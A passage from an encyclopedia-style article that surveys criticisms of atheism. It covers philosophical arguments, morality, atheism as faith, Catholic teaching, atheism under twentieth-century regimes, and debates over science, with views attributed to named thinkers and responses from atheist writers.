Analytic philosopher and modal logician Alvin Plantinga, a theist, rejected the presumption of atheism forwarding a two-part argument. First, he shows that there is no objection to belief in God unless the belief is shown to be false. Second, he argues that belief in God could be rationally warranted if it is a properly basic or foundational belief through an innate human "sense of the divine".[22] Plantinga argues that if we have the innate knowledge of God which he theorizes as a possibility, we could trust belief in God the same way we trust our cognitive faculties in other similar matters, such as our rational belief that there are other minds beyond our own, something we believe, but for which there can be no evidence. Alvin Plantinga's argument puts theistic belief an equal evidential footing with atheism even if Flew's definition of atheism is accepted.[31]
University of Notre Dame philosopher Ralph McInerny goes further than Plantinga, arguing that belief in God reasonably follows from our observations of the natural order and the law-like character of natural events. McInerny argues that the extent of this natural order is so pervasive as to be almost innate, providing a prima facie argument against atheism. McInerny's position goes further than Plantinga's, arguing that theism is evidenced and that the burden of proof rests on the atheist, not on the theist.[31][38]
William Lane Craig wrote that if Flew's broader definition of atheism is seen as "merely the absence of belief in God", atheism "ceases to be a view" and "even infants count as atheists". For atheism to be a view, Craig adds: "One would still require justification in order to know either that God exists or that He does not exist".[22] Like the agnostic Anthony Kenny, Craig argues that there is no presumption for atheism because it is distinct from agnosticism:
[S]uch an alleged presumption is clearly mistaken. For the assertion that "There is no God" is just as much a claim to knowledge as is the assertion that "There is a God." Therefore, the former assertion requires justification just as the latter does. It is the agnostic who makes no knowledge claim at all with respect to God's existence."[39] — Excerpt by Definition of Atheism, William Lane Craig, 2007
Forty years after Flew published The Presumption of Atheism, his proposition remains controversial.
Other arguments [ edit ]
William Lane Craig listed some of the more prominent arguments forwarded by proponents of atheism along with his objections:[40]
"The Hiddenness of God" is the claim that if God existed, God would have prevented the world's unbelief by making his existence starkly apparent. Craig argues that the problem with this argument is that there is no reason to believe that any more evidence than what is already available would increase the number of people believing in God.
"The Incoherence of Theism" is the claim that the notion of God is incoherent. Craig argues that a coherent doctrine of God's attributes can be formulated based on scripture like Medieval theologians had done and "Perfect Being Theology"; and that the argument actually helps in refining the concept of God.
"The Problem of Evil" can be split into two different concerns: the "intellectual" problem of evil concerns how to give a rational explanation of the co-existence of God and evil and the "emotional" problem of evil concerns how to comfort those who are suffering and how to dissolve the emotional dislike people have of a God who would permit such evil. The latter can be dealt with in a diverse manner. Concerning the "intellectual" argument, it is often cast as an incompatibility between statements such as "an omnipotent, omnibenevolent God exists" and "the quantity and kinds of suffering in the world exist". Craig argues that no one has shown that both statements are logically incompatible or improbable with respect to each other. Others use another version of the intellectual argument called the "evidential problem of evil" which claims that the apparently unnecessary or "gratuitous" suffering in the world constitutes evidence against God's existence. Craig argues that it is not clear that the suffering that appears to be gratuitous actually is gratuitous for various reasons, one of which is similar to an objection to utilitarian ethical theory, that it is quite simply impossible for us to estimate which action will ultimately lead to the greatest amount of happiness or pleasure in the world.
T.J. Mawson makes a case against atheism by citing some lines of evidence and reasoning such as the high level of fine-tuning whereby the life of morally sentient and significantly free creatures like humans has implications. On the maximal multiverse hypothesis, he argues that in appealing to infinite universes one is in essence explaining too much and that it even opens up the possibility that certain features of the universe still would require explanation beyond the hypothesis itself. He also argues from induction for fine tuning in that if one supposed that infinite universes existed there should be infinite ways in which observations can be wrong on only one way in which observations can be right at any point in time, for instance, that the color of gems stay the same every time we see them. In other words, if infinite universes existed, then there should be infinite changes to our observations of the universe and in essence be unpredictable in infinite ways, yet this is not what occurs.[41]
Atheism and the individual [ edit ]
In a global study on atheism, sociologist Phil Zuckerman noted that though there are positive correlations with societal health among organically atheist nations, countries with higher levels of atheism also had the highest suicide rates compared to countries with lower levels of atheism. He concludes that correlation does not necessarily indicate causation in either case.[42] A 2004 study of religious affiliation and suicide attempts, concluded: "After other factors were controlled, it was found that greater moral objections to suicide and lower aggression level in religiously affiliated subjects may function as protective factors against suicide attempts".[43]
According to William Bainbridge, atheism is common among people whose social obligations are weak and is also connected to lower fertility rates in some industrial nations.[44] Extended length of sobriety in alcohol recovery is related positively to higher levels of theistic belief, active community helping and self-transcendence.[45] Some studies state that in developed countries health, life expectancy and other correlates of wealth tend to be statistical predictors of a greater percentage of atheists, compared to countries with higher proportions of believers.[46][47] Multiple methodological problems have been identified with cross-national assessments of religiosity, secularity and social health which undermine conclusive statements on religiosity and secularity in developed democracies.[48]
Morality [ edit ]
The liberal philosopher John Locke believed that the denial of God's existence would undermine the social order and lead to chaos
The influential deist philosopher Voltaire criticised established religion to a wide audience, but conceded a fear of the disappearance of the idea of God: "After the French Revolution and its outbursts of atheism, Voltaire was widely condemned as one of the causes", wrote Geoffrey Blainey. "Nonetheless, his writings did concede that fear of God was an essential policeman in a disorderly world: 'If God did not exist, it would be necessary to invent him', wrote Voltaire".[49]
In A Letter Concerning Toleration, the influential English philosopher John Locke wrote: "Promises, covenants, and oaths, which are the bonds of human society, can have no hold upon an atheist. The taking away of God, though but even in thought, dissolves all".[50] Although Locke was believed to be an advocate of tolerance, he urged the authorities not to tolerate atheism because the denial of God's existence would undermine the social order and lead to chaos.[51] According to Dinesh D'Souza, Locke, like Russian novelist Fyodor Dostoyevsky after him, argued that "when God is excluded, then it is not surprising when morality itself is sacrificed in the process and chaos and horror is unleashed on the world".[52]
The Catholic Church believes that morality is ensured through natural law, but that religion provides a more solid foundation.[53] For many years[when?] in the United States, atheists were not allowed to testify in court because it was believed that an atheist would have no reason to tell the truth (see also discrimination against atheists).[54]
Atheists such as biologist and popular author Richard Dawkins have proposed that human morality is a result of evolutionary, sociobiological history. He proposes that the "moral zeitgeist" helps describe how moral imperatives and values naturalistically evolve over time from biological and cultural origins.[55] Evolutionary biologist Kenneth R. Miller notes that such a conception of evolution and morality is a misunderstanding of sociobiology and at worst it is an attempt to abolish any meaningful system of morality since though evolution would have provided the biological drives and desires we have, it does not tell us what is good or right or wrong or moral.[56]
Critics assert that natural law provides a foundation on which people may build moral rules to guide their choices and regulate society, but does not provide as strong a basis for moral behavior as a morality that is based in religion.[57] Douglas Wilson, an evangelical theologian, argues that while atheists can behave morally, belief is necessary for an individual "to give a rational and coherent account" of why they are obligated to lead a morally responsible life.[58] Wilson says that atheism is unable to "give an account of why one deed should be seen as good and another as evil".[59] Cardinal Cormac Murphy-O'Connor, outgoing Archbishop of Westminster, expressed this position by describing a lack of faith as "the greatest of evils" and blamed atheism for war and destruction, implying that it was a "greater evil even than sin itself".[60]
According to William Lane Craig, in a world without God people are living in a state where evil is completely unregulated and also permissible, while at the same time good and self-sacrificing people would live in an unrewarded state where noble deeds lose their virtue and are rendered valueless.[61]
Atheism as faith [ edit ]
Another criticism of atheism is that it is a faith in itself as a belief in its own right, with a certainty about the falseness of religious beliefs that is comparable to the certainty about the unknown that is practiced by religions.[62] Activist atheists have been criticized for positions said to be similar to religious dogma. In his essay Dogmatic Atheism and Scientific Ignorance for the World Union of Deists, Peter Murphy wrote: "The dogmatic atheist like the dogmatic theist is obsessed with conformity and will spew a tirade of angry words against anyone who does not conform to their own particular world view".[63] The Times arts and entertainment writer Ian Johns described the 2006 British documentary The Trouble with Atheism as "reiterating the point that the dogmatic intensity of atheists is the secular equivalent of the blinkered zeal of fanatical mullahs and biblical fundamentalists".[64] Though the media often portrays atheists as "angry" and studies show that the general population and "believers" perceive atheists as "angry", Brian Meier et al. found that individual atheists are no more angry than individuals in other populations.[65]
In a study on American secularity, Frank Pasquale notes that some tensions do exist among secular groups where, for instance, atheists are sometimes viewed as "fundamentalists" by secular humanists.[66]
In his book First Principles (1862), the 19th-century English philosopher and sociologist Herbert Spencer wrote that as regards the origin of the universe, three hypotheses are possible: self-existence (atheism), self-creation (pantheism), or creation by an external agency (theism).[67] Spencer argued that it is "impossible to avoid making the assumption of self-existence" in any of the three hypotheses[68] and concluded that "even positive Atheism comes within the definition" of religion.[69]
In an anthropological study on modernity, Talal Asad quotes an Arab atheist named Adonis who has said: "The sacred for atheism is the human being himself, the human being of reason, and there is nothing greater than this human being. It replaces revelation by reason and God with humanity". To which Asad points out: "But an atheism that deifies Man is, ironically, close to the doctrine of the incarnation".[70]
Michael Martin and Paul Edwards have responded to criticism-as-faith by emphasizing that atheism can be the rejection of belief, or absence of belief.[71][72] Don Hirschberg once famously that said "calling atheism a religion is like calling bald a hair color".[73]
Catholic perspective [ edit ]
The Catechism of the Catholic Church identifies atheism as a violation of the First Commandment, calling it "a sin against the virtue of religion". The catechism is careful to acknowledge that atheism may be motivated by virtuous or moral considerations and admonishes Catholics to focus on their own role in encouraging atheism by their religious or moral shortcomings:
(2125) [...] The imputability of this offense can be significantly diminished in virtue of the intentions and the circumstances. "Believers can have more than a little to do with the rise of atheism. To the extent that they are careless about their instruction in the faith, or present its teaching falsely, or even fail in their religious, moral, or social life, they must be said to conceal rather than to reveal the true nature of God and of religion.[74]
Historical criticism [ edit ]
The Bible has criticized atheism by stating: "The fool has said in his heart, There is no God. They are corrupt, they have done abominable works, there is none that does good" (Psalm 14:1). In his essay On Atheism, Francis Bacon criticized the dispositions towards atheism as being "contrary to wisdom and moral gravity" and being associated with fearing government or public affairs.[75] He also stated that knowing a little science may lead one to atheism, but knowing more science will lead one to religion.[75] In another work called The Advancement of Learning, Bacon stated that superficial knowledge of philosophy inclines one to atheism while more knowledge of philosophy inclines one toward religion.[75]
In Reflections on the Revolution in France, Edmund Burke, an 18th-century Irish philosopher and statesman praised by both his conservative and liberal peers for his "comprehensive intellect",[76] wrote that "man is by his constitution a religious animal; that atheism is against, not only our reason, but our instincts; and that it cannot prevail long". Burke wrote of a "literary cabal" who had "some years ago formed something like a regular plan for the destruction of the Christian religion. This object they pursued with a degree of zeal which hitherto had been discovered only in the propagators of some system of piety... These atheistical fathers have a bigotry of their own; and they have learnt to talk against monks with the spirit of a monk". In turn, wrote Burke, a spirit of atheistic fanaticism had emerged in France.[77]
We know, and, what is better, we feel inwardly, that religion is the basis of civil society, and the source of all good, and of all comfort. In England we are so convinced of this [...] We know, and it is our pride to know, that man is by his constitution a religious animal; that atheism is against, not only our reason, but our instincts; and that it cannot prevail long. But if, in the moment of riot, and in a drunken delirium from the hot spirit drawn out of the alembic of hell, which in France is now so furiously boiling, we should uncover our nakedness, by throwing off that Christian religion which has hitherto been our boast and comfort, and one great source of civilization amongst us, and among many other nations, we are apprehensive (being well aware that the mind will not endure a void) that some uncouth, pernicious, and degrading superstition might take place of it. — Excerpt from Reflections on the Revolution in France, Edmund Burke, 1790
Atheism and politics [ edit ]
The historian Geoffrey Blainey wrote that during the 20th century atheists in Western societies became more active and even militant, expressing their arguments with clarity and skill. Like modern Christians, they reject the idea of an interventionist God and they argue that Christianity promotes war and violence. However, Blainey notes that anyone, not just Christians, can promote violence, writing "that the most ruthless leaders in the Second World War were atheists and secularists who were intensely hostile to both Judaism and Christianity. Later massive atrocities were committed in the East by those ardent atheists, Pol Pot and Mao Zedong. All religions, all ideologies, all civilizations display embarrassing blots on their pages".[78]
Philosophers Russell Blackford and Udo Schüklenk have written: "By contrast to all of this, the Soviet Union was undeniably an atheist state, and the same applies to Maoist China and Pol Pot's fanatical Khmer Rouge regime in Cambodia in the 1970s. That does not, however, show that the atrocities committed by these totalitarian dictatorships were all the result of atheist beliefs, carried out in the name of atheism, or caused primarily by the atheistic aspects of the relevant forms of communism". However, they do admit that some forms of persecutions such as those done on churches and religious people were partially related to atheism, but insist it was mostly based on economics and political reasons.[79]
Historian Jeffrey Burton Russell has argued that "atheist rulers such as Lenin, Hitler, Stalin, Mao Zedong and Pol Pot tortured, starved and murdered more people in the twentieth century than all the combined religious regimes of the world during the previous nineteen centuries". He also states: "The antitheist argument boils down to this: a Christian who does evil does so because he is a Christian; an atheist who does evil does so despite being an atheist. The absolute reverse could be argued, but either way it's nothing but spin. The obvious fact is that some Christians do evil in the name of Christianity and some atheists do evil in the name of atheism".[80]
William Husband, a historian of the Soviet secularization has noted: "But the cultivation of atheism in Soviet Russia also possessed distinct characteristic, none more important than the most obvious: atheism was an integral part of the world's first large-scale experiment in communism. The promotion of an antireligious society therefore constitutes an important development in Soviet Russia and in the social history of atheism globally".[81]
Daniel Piers, a historian of the League of the Militant Godless which was a "nominally independent organization established by the Communist Party to promote atheism" in the Soviet Union notes that its pro-atheism activities included active proselytizing of people's personal beliefs, sponsoring lectures, organizing demonstrations, printing and distribution of pamphlets and posters.[82]
Early twentieth century [ edit ]
In Julian Baggini's book Atheism A Very Short Introduction, the author notes: "One of the most serious charges laid against atheism is that it is responsible for some of the worst horrors of the 20th century, including the Nazi concentration camps and Stalin's gulags".[83] However, the author concludes that Nazi Germany was not a "straightforwardly atheist state", but one which sacrilized notions of blood and nation in a way that is "foreign to mainstream rational atheism" and that while the Soviet Union, which was "avowedly and officially an atheist state", this is not a reason to think that atheism is necessarily evil, though it is a refutation of the idea that atheism must always be benign as "there is I believe a salutary lesson to be learned from the way in which atheism formed an essential part of Soviet Communism, even though Communism does not form an essential part of atheism. This lesson concerns what can happen when atheism becomes too militant and Enlightenment ideals too optimistic".[84]
From the outset, Christians were critical of the spread of militant Marxist‒Leninist atheism, which took hold in Russia following the 1917 Revolution and involved a systematic effort to eradicate religion.[85][86][87][88] In the Soviet Union after the Revolution, the teaching the faith to the young was criminalized.[87] Marxist‒Leninist atheism and other adaptations of Marxian thought on religion have enjoyed the official patronage of various one-party Communist states since 1917. The Bolsheviks pursued "militant atheism".[89] The Soviet leaders Vladimir Lenin and Joseph Stalin energetically pursued the persecution of the Church through the 1920s and 1930s.[88] It was made a criminal offence for priests to teach a child the faith.[90] Many priests were killed and imprisoned. Thousands of churches were closed, some turned into temples of atheism. In 1925, the government founded the League of Militant Atheists to intensify the persecution.[90]
Divini redemptoris denounced the "current trend to atheism which is alarmingly on the increase" Pope Pius XI reigned during the rise of the dictators in the 1930s and his 1937 encyclicaldenounced the "current trend to atheism which is alarmingly on the increase"
Pope Pius XI reigned from 1922 to 1939 and responded to the rise of totalitarianism in Europe with alarm. He issued three papal encyclicals challenging the new creeds: against Italian Fascism, Non abbiamo bisogno (1931; 'We do not need to acquaint you); against Nazism, Mit brennender Sorge (1937; "With deep concern"); and against atheist Communism, Divini Redemptoris (1937; "Divine Redeemer").[91]
In Divini Redemptoris, Pius XI said that atheistic Communism being led by Moscow was aimed at "upsetting the social order and at undermining the very foundations of Christian civilization":[92]
A picture saying "Comrade Lenin Cleanses the Earth of Filth" as Vladimir Lenin was a significant figure in the spread of political atheism in the 20th century and the figure of a priest is among the enemies being swept away
We too have frequently and with urgent insistence denounced the current trend to atheism which is alarmingly on the increase... We raised a solemn protest against the persecutions unleashed in Russia, in Mexico and now in Spain. [...] In such a doctrine, as is evident, there is no room for the idea of God; there is no difference between matter and spirit, between soul and body; there is neither survival of the soul after death nor any hope in a future life. Insisting on the dialectical aspect of their materialism, the Communists claim that the conflict which carries the world towards its final synthesis can be accelerated by man. Hence they endeavor to sharpen the antagonisms which arise between the various classes of society. Thus the class struggle with its consequent violent hate and destruction takes on the aspects of a crusade for the progress of humanity. On the other hand, all other forces whatever, as long as they resist such systematic violence, must be annihilated as hostile to the human race. — Excerpts from Divini Redemptoris, Pope Pius XI, 1937
In Fascist Italy, led by the atheist Benito Mussolini, the Pope denounced the efforts of the state to supplant the role of the Church as chief educator of youth and denounced Fascism's "worship" of the state rather than the divine, but Church and state settled on mutual, shaky, toleration.[93][94]
Historian of the Nazi period Richard J. Evans wrote that the Nazis encouraged atheism and deism over Christianity and encouraged party functionaries to abandon their religion.[95] Priests were watched closely and frequently denounced, arrested and sent to concentration camps.[96] In Hitler and Stalin: Parallel Lives, the historian Alan Bullock wrote that Hitler, like Napoleon before him, frequently employed the language of "Providence" in defence of his own myth, but ultimately shared with the Soviet dictator Joseph Stalin "the same materialist outlook, based on the nineteenth century rationalists' certainty that the progress of science would destroy all myths and had already proved Christian doctrine to be an absurdity".[86] By 1939, all Catholic denominational schools in the Third Reich had been disbanded or converted to public facilities.[97] In this climate, Pope Pius XI issued his anti-Nazi encyclical, Mit Brennender Sorge in 1937, saying:[98]
It is on faith in God, preserved pure and stainless, that man's morality is based. All efforts to remove from under morality and the moral order the granite foundation of faith and to substitute for it the shifting sands of human regulations, sooner or later lead these individuals or societies to moral degradation. The fool who has said in his heart "there is no God" goes straight to moral corruption (Psalms xiii. 1), and the number of these fools who today are out to sever morality from religion, is legion. — Excerpt from Mit brennender Sorge, Pope Pius XI, 1937
Pius XI died on the eve of World War II. Following the outbreak of war and the 1939 Nazi/Soviet joint invasion of Poland, the newly elected Pope Pius XII again denounced the eradication of religious education in his first encyclical, saying: "Perhaps the many who have not grasped the importance of the educational and pastoral mission of the Church will now understand better her warnings, scouted in the false security of the past. No defense of Christianity could be more effective than the present straits. From the immense vortex of error and anti-Christian movements there has come forth a crop of such poignant disasters as to constitute a condemnation surpassing in its conclusiveness any merely theoretical refutation".[99]
Post-war Christian leaders including Pope John Paul II continued the Christian critique.[100] In 2010, his successor, the German Pope Benedict XVI said:[101]
Even in our own lifetime, we can recall how Britain and her leaders stood against a Nazi tyranny that wished to eradicate God from society and denied our common humanity to many, especially the Jews, who were thought unfit to live. I also recall the regime's attitude to Christian pastors and religious who spoke the truth in love, opposed the Nazis and paid for that opposition with their lives. As we reflect on the sobering lessons of the atheist extremism of the twentieth century, let us never forget how the exclusion of God, religion and virtue from public life leads ultimately to a truncated vision of man and of society and thus to a reductive vision of the person and his destiny — Speech by Pope Benedict XVI, 2010
British biologist Richard Dawkins criticised Pope Benedict's remarks and described Hitler as a "Catholic" because he "never renounced his baptismal Catholicism" and said that "Hitler certainly was not an atheist. In 1933 he claimed to have 'stamped atheism out'".[102] In contrast, historian Alan Bullock wrote that Hitler was a rationalist and a materialist with no feeling for the spiritual or emotional side of human existence: a "man who believed neither in God nor in conscience".[103] Anton Gill has written that Hitler wanted Catholicism to have "nothing at all to do with German society".[104] Richard Overy describes Hitler as skeptical of all religious belief[105][106] Critic of atheism Dinesh D'Souza argues that "Hitler's leading advisers, such as Goebbels, Heydrich and Bormann, were atheists who were savagely hostile to religion" and Hitler and the Nazis "repudiated what they perceived as the Christian values of equality, compassion and weakness and extolled the atheist notions of the Nietzschean superman and a new society based on the 'will to power'".[52]
When Hitler was out campaigning for power in Germany, he made opportunistic statements apparently in favour of "positive Christianity".[107][108][109] In political speeches, Hitler spoke of an "almighty creator".[110][111] According to Samuel Koehne of Deakin University, some recent works have "argued Hitler was a Deist".[112] Hitler made various comments against "atheistic" movements. He associated atheism with Bolshevism, Communism and Jewish materialism.[113] In 1933, the regime banned most atheistic and freethinking groups in Germany—other than those that supported the Nazis.[114][115] The regime strongly opposed "godless communism"[116][117] and most of Germany's freethinking (freigeist), atheist and largely left-wing organizations were banned.[114][115] The regime also stated that the Nazi Germany needed some kind of belief.[118][119][120][121]
According to Tom Rees, some researches suggest that atheists are more numerous in peaceful nations than they are in turbulent or warlike ones, but causality of this trend is not clear and there are many outliers.[122] However, opponents of this view cite examples such as the Bolsheviks (in Soviet Russia) who were inspired by "an ideological creed which professed that all religion would atrophy [...] resolved to eradicate Christianity as such".[123] In 1918, "[t]en Orthodox hierarchs were summarily shot" and "[c]hildren were deprived of any religious education outside the home".[123] Increasingly draconian measures were employed. In addition to direct state persecution, the League of the Militant Godless was founded in 1925, churches were closed and vandalized and "by 1938 eighty bishops had lost their lives, while thousands of clerics were sent to labour camps".[124]
After World War II [ edit ]
Across Eastern Europe following World War II, the parts of Nazi Germany and its allies and conquered states that had been overrun by the Soviet Red Army, along with Yugoslavia, became one-party Communist states, which like the Soviet Union were antipathetic to religion. Persecutions of religious leaders followed.[125][126] The Soviet Union ended its truce against the Russian Orthodox Church and extended its persecutions to the newly Communist Eastern block. In Poland, Hungary, Lithuania and other Eastern European countries, Catholic leaders who were unwilling to be silent were denounced, publicly humiliated or imprisoned by the Communists. According to Geoffrey Blainey, leaders of the national Orthodox Churches in Romania and Bulgaria had to be "cautious and submissive".[90]
Albania under Enver Hoxha became in 1967 the first (and to date only) formally declared atheist state,[127] going far beyond what most other countries had attempted—completely prohibiting religious observance and systematically repressing and persecuting adherents. The right to religious practice was restored in the fall of communism in 1991. In 1967, Hoxha's regime conducted a campaign to extinguish religious life in Albania and by year's end over two thousand religious buildings were closed or converted to other uses and religious leaders were imprisoned and executed. Albania was declared to be the world's first atheist country by its leaders and Article 37 of the Albanian constitution of 1976 stated: "The State recognises no religion, and supports and carries out atheistic propaganda in order to implant a scientific materialistic world outlook in people".[128][129]
In 1949, China became a Communist state under the leadership of Mao Zedong's Communist Party of China. China itself had been a cradle of religious thought since ancient times, being the birthplace of Confucianism and Daoism. Under Communism, China became officially atheist, and though some religious practices were permitted to continue under state supervision, religious groups deemed a threat to order have been suppressed—as with Tibetan Buddhism since 1959 and Falun Gong in recent years.[130] During the Cultural Revolution, Mao instigated "struggles" against the Four Olds: "old ideas, customs, culture, and habits of mind".[131] In Buddhist Cambodia, influenced by Mao's Cultural Revolution, Pol Pot's Khmer Rouge also instigated a purge of religion during the Cambodian genocide, when all religious practices were forbidden and Buddhist monasteries were closed.[132][133] Evangelical Christian writer Dinesh D'Souza writes: "The crimes of atheism have generally been perpetrated through a hubristic ideology that sees man, not God, as the creator of values. Using the latest techniques of science and technology, man seeks to displace God and create a secular utopia here on earth".[134] He also contends:
And who can deny that Stalin and Mao, not to mention Pol Pot and a host of others, all committed atrocities in the name of a Communist ideology that was explicitly atheistic? Who can dispute that they did their bloody deeds by claiming to be establishing a 'new man' and a religion-free utopia? These were mass murders performed with atheism as a central part of their ideological inspiration, they were not mass murders done by people who simply happened to be atheist.[135]
In response to this line of criticism, Sam Harris wrote:
The problem with fascism and communism, however, is not that they are too critical of religion; the problem is that they are too much like religions. Such regimes are dogmatic to the core and generally give rise to personality cults that are indistinguishable from cults of religious hero worship. Auschwitz, the gulag and the killing fields were not examples of what happens when human beings reject religious dogma; they are examples of political, racial and nationalistic dogma run amok. There is no society in human history that ever suffered because its people became too reasonable.[136]
Richard Dawkins has stated that Stalin's atrocities were influenced not by atheism, but by dogmatic Marxism[55] and concludes that while Stalin and Mao happened to be atheists, they did not do their deeds "in the name of atheism".[137] On other occasions, Dawkins has replied to the argument that Hitler and Stalin were antireligious with the response that Hitler and Stalin also grew moustaches in an effort to show the argument as fallacious.[138] Instead, Dawkins argues in The God Delusion: "What matters is not whether Hitler and Stalin were atheists, but whether atheism systematically influences people to do bad things. There is not the smallest evidence that it does".[139]
Historian Borden Painter assessed Dawkins' claims on Stalin, atheism and violence in light of mainstream historical scholarship, stating that Dawkins did not use reliable sources to reach his conclusions. He argues: "He omits what any textbook would tell him: Marxism included atheism as a piece of its secular ideology that claimed a basis in scientific thinking originating in the Enlightenment".[140] D'Souza responds to Dawkins that an individual need not explicitly invoke atheism in committing atrocities if it is already implied in his worldview as is the case in Marxism.[135]
In a 1993 address to American bishops, Pope John Paul II spoke of a spreading "practical atheism" in modern societies which was clouding the moral sense of humans and fragmenting society:[3]
[T]he disciple of Christ is constantly challenged by a spreading "practical atheism" – an indifference to God's loving plan which obscures the religious and moral sense of the human heart. Many either think and act as if God did not exist, or tend to "privatize" religious belief and practice, so that there exists a bias towards indifferentism and the elimination of any real reference to binding truths and moral values. When the basic principles which inspire and direct human behavior are fragmentary and even at times contradictory, society increasingly struggles to maintain harmony and a sense of its own destiny. In a desire to find some common ground on which to build its programmes and policies, it tends to restrict the contribution of those whose moral conscience is formed by their religious beliefs. — Pope John Paul II, 11 November 1993
Journalist Robert Wright has argued that some New Atheists discourage looking for deeper root causes of conflicts when they assume that religion is the sole root of the problem. Wright argues that this can discourage people from working to change the circumstances that actually give rise to those conflicts.[141] Mark Chaves has said that the New Atheists, amongst others who comment on religions, have committed the religious congruence fallacy in their writings by assuming that beliefs and practices remain static and coherent through time. He believes that the late Christopher Hitchens committed this error by assuming that the drive for congruence is a defining feature of religion and that Daniel Dennett has done it by overlooking the fact that religious actions are dependent on the situation, just like other actions.[142]
Atheism and science [ edit ]
Early modern atheism developed in the 17th century and Winfried Schroeder, a historian of atheism, has noted that science during this time did not strengthen the case for atheism.[143][144] In the 18th century, Denis Diderot argued that atheism was less scientific than metaphysics.[143][144] Prior to Charles Darwin, the findings of biology did not play a major part in the atheist's arguments since in the earliest avowedly atheist texts atheists were embarrassed to an appeal to chance against the available arguments for design. As Schroeder has noted, throughout the 17th and 18th centuries theists excelled atheists in their ability to make contributions to the serious study of biological processes.[144] In the time of the Enlightenment, mechanical philosophy was developed by Christians such as Isaac Newton, René Descartes, Robert Boyle and Pierre Gassendi who saw a self-sustained and autonomous universe as an intrinsically Christian belief. The mechanical world was seen as providing strong evidence against atheism since nature had evidence of order and providence, instead of chaos and spontaneity.[145] However, since the 19th century both atheists and theists have said that science supports their worldviews.[143] Historian of science John Henry has noted that before the 19th century science was generally cited to support many theological positions. However, materialist theories in natural philosophy became more prominent from the 17th century onwards, giving more room for atheism to develop. Since the 19th century, science has been employed in both theistic and atheistic cultures, depending on the prevailing popular beliefs.[146]
In reviewing the rise of modern science, Taner Edis notes that science does work without atheism and that atheism largely remains a position that is adopted for philosophical or ethical, rather than scientific reasons. The history of atheism is heavily invested in the philosophy of religion and this has resulted in atheism being weakly tied to other branches of philosophy and almost completely disconnected from science which means that it risks becoming stagnant and completely irrelevant to science.[147]
Sociologist Steve Fuller wrote: "Atheism as a positive doctrine has done precious little for science". He notes: "More generally, Atheism has not figured as a force in the history of science not because it has been suppressed but because whenever it has been expressed, it has not specifically encouraged the pursuit of science".[148]
Massimo Pigliucci noted that the Soviet Union had adopted an atheist ideology called Lysenkoism, which rejected Mendelian genetics and Darwinian evolution as capitalist propaganda, which was in sync with Stalin's dialectic materialism and ultimately impeded biological and agricultural research for many years, including the exiling and deaths of many valuable scientists. This part of history has symmetries with other ideologically driven ideas such as intelligent design, though in both cases religion and atheism are not the main cause, but blind commitments to worldviews.[149] Lysenkoism reigned over Soviet science since the 1920s to the early 1960s where genetics was proclaimed a pseudoscience for more than 30 years despite significant advances in genetics in earlier years. It relied on Lamarckian views and rejected concepts such as genes and chromosomes and proponents claimed to have discovered that rye could transform into wheat and wheat into barley and that natural cooperation was observed in nature as opposed to natural selection. Ultimately, Lysenkoism failed to deliver on its promises in agricultural yields and had unfortunate consequences such as the arresting, firing, or execution of 3,000 biologists due to attempts from Lysenko to suppress opposition to his theory.[150]
According to historian Geoffrey Blainey, in recent centuries literalist biblical accounts of creation were undermined by scientific discoveries in geology and biology, leading various thinkers to question the idea that God created the universe at all.[151] However, he also notes: "Other scholars replied that the universe was so astonishing, so systematic, and so varied that it must have a divine maker. Criticisms of the accuracy of the Book of Genesis were therefore illuminating, but minor".[151] Some philosophers, such as Alvin Plantinga, have argued the universe was fine-tuned for life.[152] Atheists have sometimes responded by referring to the anthropic principle.[153][154]
Physicist Karl W. Giberson and philosopher of science Mariano Artigas reviewed the views of some notable atheist scientists such as Carl Sagan, Richard Dawkins, Stephen Jay Gould, Stephen Hawking, Steven Weinberg and E. O. Wilson which have engaged popular writing which include commentary on what science is, society and religion for the lay public. Giberson and Artigas note that though such authors provide insights from their fields, they often misinform the public by engaging in non-scientific commentary on society, religion and meaning under the guise of non-existent scientific authority and no scientific evidence. Some impressions these six authors make that are erroneous and false include: science is mainly about origins and that most scientists work in some aspect of either cosmic or biological evolution, scientists are either agnostic or atheistic and science is incompatible and even hostile to religion. To these impressions, Giberson and Artigas note that the overwhelming majority of science articles in any journal in any field have nothing to with origins because most research is funded by taxpayers or private corporations so ultimately practical research that benefit people, the environment, health and technology are the core focus of science; significant portions of scientists are religious and spiritual; and the majority of scientists are not hostile to religion since no scientific organization has any stance that is critical to religion, the scientific community is diverse in terms of worldviews and there is no collective opinion on religion.[155]
Primatologist Frans de Waal has criticized atheists for often presenting science and religion to audiences in a simplistic and false view of conflict, thereby propagating a myth that has been dispelled by history. He notes that there are dogmatic parallels between atheists and some religious people in terms of how they argue about many issues.[156]
Evolutionary biologist Kenneth R. Miller has argued that when scientists make claims on science and theism or atheism, they are not arguing scientifically at all and are stepping beyond the scope of science into discourses of meaning and purpose. What he finds particularly odd and unjustified is in how atheists often come to invoke scientific authority on their non-scientific philosophical conclusions like there being no point or no meaning to the universe as the only viable option when the scientific method and science never have had any way of addressing questions of meaning or lack of meaning, or the existence or non-existence of God in the first place. Atheists do the same thing theists do on issues not pertaining to science like questions on God and meaning.[157]
Theologian scientist Alister McGrath points out that atheists have misused biology in terms of both evolution as "Darwinism" and Darwin himself, in their "atheist apologetics" in order to propagate and defend their worldviews. He notes that in atheist writings there is often an implicit appeal to an outdated "conflict" model of science and religion which has been discredited by historical scholarship, there is a tendency to go beyond science to make non-scientific claims like lack of purpose and characterizing Darwin as if he was an atheist and his ideas as promoting atheism. McGrath notes that Darwin never called himself an atheist nor did he and other early advocates of evolution see his ideas as propagating atheism and that numerous contributors to evolutionary biology were Christians.[158]
Oxford Professor of Mathematics John Lennox has written that the issues one hears about science and religion have nothing to do with science, but are merely about theism and atheism because top level scientists abound on both sides. Furthermore, he criticizes atheists who argue from scientism because sometimes it results in dismissals of things like philosophy based on ignorance of what philosophy entails and the limits of science. He also notes that atheist scientists in trying to avoid the visible evidence for God ascribe creative power to less credible candidates like mass and energy, the laws of nature and theories of those laws. Lennox notes that theories that Hawking appeals to such as the multiverse are speculative and untestable and thus do not amount to science.[159]
